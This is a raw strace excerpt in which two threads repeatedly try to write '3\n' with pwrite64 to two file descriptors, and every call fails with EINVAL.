[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
